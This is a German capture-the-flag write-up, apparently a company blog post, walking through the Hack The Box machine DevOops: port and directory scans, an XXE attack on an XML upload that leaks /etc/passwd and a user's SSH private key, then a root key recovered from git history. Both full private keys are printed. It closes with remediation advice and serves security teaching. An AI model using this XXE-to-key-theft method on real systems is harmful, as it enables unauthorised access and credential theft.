Heute werden wir lernen, wie wir uns in die DevOops-Maschine auf hackthebox hacken können. Wenn du mehr über hackthebox erfahren willst, sieh dir den ersten Post in dieser Serie an.
DevOops: Vorbereitung
Als einen ersten Schritt fügen wir
10.10.10.91 devoops.htb
in unsere /etc/hosts Datei ein. So ist es möglich, die Maschine mit dem Namen devoops.htb anzusprechen.
Enumerierung und Fingerprinting
nmap
Nmap (Network Mapper) ist ein freier und quelloffener Netzwerkscanner, der von Gordon Lyon (auch bekannt unter seinem Pseudonym Fyodor Vaskovich) entwickelt wurde. Nmap wird verwendet, um Hosts und Dienste in einem Computernetzwerk zu entdecken, indem Pakete gesendet und die Antworten analysiert werden.
Nmap bietet eine Reihe von Funktionen zur Untersuchung von Computernetzwerken, einschließlich der Erkennung von Hosts und Diensten und von Betriebssystemen. Diese Funktionen sind durch Skripte erweiterbar, die eine fortgeschrittenere Diensterkennung, die Erkennung von Schwachstellen und andere Funktionen bieten.
Zu Beginn der Aufklärungsphase beginnen wir in der Regel damit, den Host nach offenen Ports, Server-Headern und Versionen zu scannen. nmap ist wahrscheinlich eines der ausgeklügeltsten Werkzeuge in dieser Hinsicht. Neben den genannten Funktionen bietet es solche, um die Art des Scans zu optimieren, um der Erkennung zu entgehen. Es wird mit einer großen Anzahl von Standard-Skripten geliefert, mit denen erkannte Dienste weiter auf bekannte Schwachstellen untersucht werden können. Außerdem können auch eigenen Skripte erstellt werden, um den Funktionsumfang zu erweitern.
Nmap allein könnte eine ganze Reihe von Blog-Einträgen füllen. Aber für unsere Write-Ups werden wir uns auf die Grundlagen beschränken.
-sS TCP SYN scans
-sC Standard-Skripte ausführen
-sV Probe offene Ports zur Ermittlung von Service-/Versionsinformationen
-A Aktivieren Sie die Erkennung des Betriebssystems, die Versionserkennung, das Scannen von Skripten und das Traceroute
-p- Alle TCP-Ports scannen
-oN Ausgabescan im normalen nmap-Format
Mit diesen Parametern starten wir unseren Scan
kali@kali:~/htb/machines/devoops$ sudo nmap -sS -sC -sV -A -p- -oN tcp.nmap devoops.htb
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 04:46 EDT
Nmap scan report for devoops.htb (10.10.10.91)
Host is up (0.035s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
| 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=3/19%OT=22%CT=1%CU=32261%PV=Y%DS=2%DC=T%G=Y%TM=5E7331B
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 39.33 ms 10.10.14.1
2 39.47 ms devoops.htb (10.10.10.91)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.68 seconds
kali@kali:~/htb/machines/devoops$
Im Konsolenprotokoll oben können wir zwei offene Ports sehen: 22, auf dem ssh läuft, und 5000, auf dem ein http-Server läuft.
5000: Gunicorn 19.7.1
Wenn wir einen Blick auf Port 5000 werfen, sehen wir eine Webseite.
Es scheint, dass dies ein MVP für eine Blogfeeder-Anwendung ist. Und anscheinend wird Python genutzt um den Feed zu füllen.
Die Suche nach gunicorn gibt Aufschluss über die potenzielle Angriffsfläche dieser Anwendung.
Gunicorn ‚Green Unicorn‘ ist ein Python-WSGI-HTTP-Server für UNIX. Es ist ein Pre-Fork-Worker-Modell. Der Gunicorn-Server ist weitgehend kompatibel mit verschiedenen Web-Frameworks, einfach implementiert, mit geringen Server-Ressourcen und ziemlich schnell.
Bei der Suche nach CVEs ist leider im Moment nicht so viel zu holen: CVEs für gunicorn
Mal sehen, was wir noch über diese Webanwendung aufzählen können.
gobuster
Gobuster ist ein Tool zum Brute-forcen:
URIs (Verzeichnisse und Dateien) auf Websiten.
DNS subdomains (mit Wildcard-Unterstützung).
Virtuelle Hostnamen auf Ziel-Webservern.
Mit Werkzeugen wie gobuster(Alternativen sind dirb, dirbuster oder jeder Fuzzer wie wfuzz, ffuf, patator, der http-Anfragen ausführen kann) können wir vordefinierte Wortlisten verwenden, um nach Dateien, Verzeichnissen oder vhosts auf unserer Ziel-Website zu suchen.
In diesem Fall wollten wir mit den folgenden Parametern gobustern:
-u Ziel-URL
-w Wortliste für den Scan zu verwenden
-o Ausgabedatei
Die Wortliste, die wir hier verwenden, ist Teil des (fantastischen) SecLists-Repositories , das hunderte von Wortlisten sammelt und aktualisiert. Penetrationstester können diese bei Engagements und (natürlich) beim Abspielen von CTFs wie hackthebox verwenden.
kali@kali:~/htb/machines/devoops$ gobuster dir -u http://devoops.htb:5000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -o big.gobuster.out
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://devoops.htb:5000
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/03/19 06:16:50 Starting gobuster
===============================================================
/feed (Status: 200)
/upload (Status: 200)
===============================================================
2020/03/19 06:19:34 Finished
===============================================================
Hier haben wir also die feed und die upload url!
Das /feed zeigt das Bild des Platzhalters, das beim Betreten der Seite auf devoops.htb:5000 zu sehen ist.
Dann sehen wir mal, was es unter /upload so gibt.
Das sieht aber interessant aus! Mal sehen, was wir da hochladen können.
kali@kali:~/htb/machines/devoops$ cat test.xml
test
Das führt zu einem Internal Server Error. Aber zum Glück hat uns der Autor der API einige Dokumentationen hinterlassen:
XML Elements: Author, Subject, Content
Also erstellen wir eine neue Datei zum Hochladen.
Nach dem Upload wird es verarbeitet:
So erhalten wir bereits mehr Informationen über unser Ziel:
– /uploads/ ist der Ordner, in dem unsere Dateien erreichbar sind.
– Die Benutzerin, die diesen gunicorn Server ausführt, ist roosa, weil uns ihr Home-Verzeichnis angezeigt wird.
Foothold
Mit all dem, was wir gesammelt haben, sollten wir in der Lage sein, auf diesem Server Fuß zu fassen. Ein Blick auf die OWASP Top 10 zeigt, dass es eine häufige Schwachstelle in Anwendungen gibt, die XML-Eingabe parsen.
Dieser Angriff tritt auf, wenn eine XML-Eingabe, die eine Referenz auf eine externe Entität enthält, von einem schwach konfigurierten XML-Parser verarbeitet wird. Dieser Angriff kann zur Offenlegung von vertraulichen Daten, Denial-of-Service, serverseitigen Anforderungsfälschungen, Port-Scanning aus der Perspektive des Rechners, auf dem sich der Parser befindet, und anderen Systemauswirkungen führen.
[…]
Angriffe können die Offenlegung lokaler Dateien umfassen, die sensible Daten wie Passwörter oder private Benutzerdaten enthalten können
.
Diese Art von Angriff wird XML External Entity Attack – oder XXE genannt. Mal sehen, ob wir unsere hochgeladene Datei anpassen können, um das auszunutzen.
Anpassen der Payload
Dazu wechseln wir zu BurpSuite , einem häufig verwendeten Werkzeug zum Abfangen und Manipulieren des Datenverkehrs zwischen dem Browser des Angreifers und dem angegriffenen Rechner.
Damit können wir unsere zuvor gesendeten Anfragen wiederholen, die Antworten empfangen und die Payload Stück für Stück ändern, ohne eine Datei lokal zu bearbeiten, zu speichern und mit dem Browser hochzuladen.
Passen wir also unsere Payload an ein gültiges XML-Dokument mit einer korrekten Definition für eine externe Entität an:
Auch da wird verarbeitet – aber wir sehen das Element pwn nicht… Wahrscheinlich, weil die API nur die dokumentierten Felder verarbeitet – also müssen wir unsere Payload nochmals anpassen:
Und da ist der dump von /etc/passwd.
PROCESSED BLOGPOST:
Author: alice
Subject: subject pwn
Content: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
URL for later reference: /uploads/payload.xml
File path: /home/roosa/deploy/src
Damit haben wir einen laufenden Proof of Concept.
Wenn wir uns jetzt den initialen nmap Scan noch einmal in Erinnerung rufen, sehen wir, dass der SSH Port auf der Maschine offen ist. Testen wir, ob roosa einen ssh private key in /home/roosa/.ssh/id_rsa gespeichert hat. Die Payload dafür sieht folgendermaßen aus:
Und so sieht die Antwort aus:
PROCESSED BLOGPOST:
Author: alice
Subject: subject pwn
Content: -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----
URL for later reference: /uploads/payloaded.xml
File path: /home/roosa/deploy/src
Bingo! Wir haben soeben unsere erste Sicherheitslücke ausgenutzt!
Damit sollten wir uns jetzt als roosa anmelden können. Zumindest sobald wir die Dateiberechtigungen angepasst haben – denn ein private key sollte auch private bleiben. Einzig der Nutzer dem der Key gehört, sollte in der Lage sein ihn zu lesen. SSH stellt auch sicher, dass das so ist.
kali@kali:~/htb/machines/devoops$ ssh roosa@devoops.htb -i id_rsa
The authenticity of host 'devoops.htb (10.10.10.91)' can't be established.
ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'devoops.htb,10.10.10.91' (ECDSA) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
Das kann behoben werden mit einem
chmod 600 id_rsa
und dann können wir den Schlüssel als Identifikator verwenden, indem wir das -i-Flag mit ssh verwenden.
kali@kali:~/htb/machines/devoops$ ssh roosa@devoops.htb -i id_rsa
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
roosa@gitter:~$ whoami
roosa
roosa@gitter:~$ ls -l user.txt
-r-------- 1 roosa roosa 33 Mar 26 2018 user.txt
Jetzt können wir uns die erste flag holen: user.txt
Privilege Escalation
Aufklärung
Mal sehen, wo wir stehen und was uns das Home-Verzeichnis über unseren Benutzer roosa sagt:
roosa@gitter:~$ ls -l
total 68
drwxrwxr-x 4 roosa roosa 4096 Mar 26 2018 deploy
drwxr-xr-x 2 roosa roosa 4096 May 29 2018 Desktop
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Documents
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Downloads
-rw-r--r-- 1 roosa roosa 8980 Mar 19 2018 examples.desktop
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Music
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Pictures
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Public
-rwxrw-r-- 1 roosa roosa 147 Mar 26 2018 run-blogfeed.sh
-rw-rw-r-- 1 roosa roosa 1839 Mar 26 2018 service.sh
-rw-rw-r-- 1 roosa roosa 2206 Mar 26 2018 service.sh~
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Templates
-r-------- 1 roosa roosa 33 Mar 26 2018 user.txt
drwxr-xr-x 2 roosa roosa 4096 Mar 21 2018 Videos
drwxrwxr-x 3 roosa roosa 4096 Mar 21 2018 work
Es gibt ein run-blogfeed.sh Skript, um den Gunicorn-Server zu starten, es gibt ein service.sh, das den Dienst, der den Blog-Feed betreibt, zu kontrollieren scheint – es sieht so aus, als hätten wir es mit eine*r Entwickler*in zu tun.
Schauen wir uns den Ordner work an.
Offenbar ist das Projekt blogfeed im Moment das Projekt Nummer eins. Sehen wir uns das mal an…
roosa@gitter:~/work/blogfeed$ ls -lisa
total 28
4849719 4 drwxrwx--- 5 roosa roosa 4096 Mar 21 2018 .
4849676 4 drwxrwxr-x 3 roosa roosa 4096 Mar 21 2018 ..
4849720 4 drwxrwx--- 8 roosa roosa 4096 Mar 26 2018 .git
4849743 4 -rw-rw---- 1 roosa roosa 104 Mar 19 2018 README.md
4849765 4 drwxrwx--- 3 roosa roosa 4096 Mar 19 2018 resources
4849791 4 -rwxrw-r-- 1 roosa roosa 180 Mar 21 2018 run-gunicorn.sh
4849764 4 drwxrwx--- 2 roosa roosa 4096 Mar 26 2018 src
Und es ist ein GitRepository!
Wenn du mit Git nicht vertraut bist:
Git ist ein verteiltes Versionskontrollsystem zur Verfolgung von Änderungen im Quellcode während der Softwareentwicklung. Es ist für die Koordination der Arbeit unter den Programmierern gedacht, aber es kann dazu verwendet werden, Änderungen in jedem beliebigen Dateisatz zu verfolgen. Zu seinen Zielen gehören Geschwindigkeit, Datenintegrität und Unterstützung für verteilte, nicht-lineare Arbeitsabläufe.
Quelle: Wikipedia
Mal sehen, ob wir in dem Git-Log etwas Nützliches herausfinden können.
roosa@gitter:~/work/blogfeed$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 26 06:13:55 2018 -0400
Use Base64 for pickle feed loading
commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:37:00 2018 -0400
Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:08:09 2018 -0400
Debug support added to make development more agile.
commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:38:21 2018 -0400
Blogfeed app, initial version.
commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:37:56 2018 -0400
Gunicorn startup script
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 -0400
reverted accidental commit with proper key
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400
add key for feed integration from tnerprise backend
commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:24:30 2018 -0400
Initial commit
roosa@gitter:~/work/blogfeed$
Ein Eintrag darin liest sich so, als ob wir auf der richtigen Spur wären!
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson
Date: Mon Mar 19 09:33:06 2018 -0400reverted accidental commit with proper key
Schauen wir uns an, was vor diesem commit passiert ist – wenn hier reverted wurde, sollte der commit davor immer noch den Schlüssel enthalten…
und
git diff d387abf63e05c9628a59195cec9311751bdb283f
liefert uns einen anderen privaten ssh-Schlüssel.
Jetzt können wir diese Revision auschecken, zum privaten Schlüssel navigieren und versuchen, uns als root zu authentifizieren.
roosa@gitter:~/work/blogfeed$ git checkout d387abf63e05c9628a59195cec9311751bdb283f
Note: checking out 'd387abf63e05c9628a59195cec9311751bdb283f'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b
HEAD is now at d387abf... add key for feed integration from tnerprise backend
roosa@gitter:~/work/blogfeed$ l
README.md resources/ src/
roosa@gitter:~/work/blogfeed$ ls
README.md resources src
roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----
roosa@gitter:~/work/blogfeed$
roosa@gitter:~/work/blogfeed/resources/integration$ ssh -i authcredentials.key root@127.0.0.1
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~# whoami
root
root@gitter:~#
Und damit sind wir fertig. Das Flag root.txt kann unter /root/root.txt ausgelesen werden, und die Box ist vollständig exploited. Es darf getanzt werden!
Klicken Sie auf den unteren Button, um den Inhalt von giphy.com zu laden.
Was haben wir gelernt
Wenn wir jetzt noch einmal ein paar Schritte zurückgehen und darüber nachdenken, was nötig war, um von einem nicht authentifizierten Besucher einer Website zur kompletten Systemkontrolle zu gelangen – sollten wir in der Lage sein, all diese Mängel zu beheben:
- XML kann verwendet werden, um Objekte von außerhalb des Dokuments zu laden: DTD vollständig deaktivieren(OWASP XXE Prevention Cheat Sheet )
- Der Webserver läuft unter einem normalen Benutzerkonto: Um zu verhindern, dass Angreifer potenziell sensible Dateien lesen, hätte der Webserver unter seinem eigenen Konto laufen sollen, ohne dass er die Rechte zum Lesen des Home-Verzeichnisses eines Benutzers hat. Damit hätte der private ssh-Schlüssel nicht exfiltriert werden können.
- Keine Anmeldedaten in git Repositories! Achtet darauf, es sauber zu halten. Wenn dann tatsächlich so etwas wie ein Schlüssel versehentlich darin gelandet ist: Schlüssel rotieren. Besonders, wenn nicht sicher gestellt werden kann, ob jemand diese bereits gepullt hat.
- Allgemein: Bei mitre att&ck gibt es einiges an Empfehlungen zur Handhabung von privaten Schlüsseln.
Wenn dir gefallen hat, was du gerade gelesen hast – lass gerne Feedback da. Wenn es dir nicht gefallen hat, bitte lass ebenfalls Feedback da – wir arbeiten dann daran 🙂
In Zukunft werden wir noch einige weitere von diesen Write-Ups posten. Happy hacking!
Weitere Beiträge
von Martin Riedel
Dein Job bei codecentric?
Jobs
Agile Developer und Consultant (w/d/m)
Alle Standorte
Weitere Artikel in diesem Themenbereich
Entdecke spannende weiterführende Themen und lass dich von der codecentric Welt inspirieren.
Gemeinsam bessere Projekte umsetzen.
Wir helfen deinem Unternehmen.
Du stehst vor einer großen IT-Herausforderung? Wir sorgen für eine maßgeschneiderte Unterstützung. Informiere dich jetzt.
Hilf uns, noch besser zu werden.
Wir sind immer auf der Suche nach neuen Talenten. Auch für dich ist die passende Stelle dabei.
Blog-Autor*in
Martin Riedel
Du hast noch Fragen zu diesem Thema? Dann sprich mich einfach an.
Du hast noch Fragen zu diesem Thema? Dann sprich mich einfach an.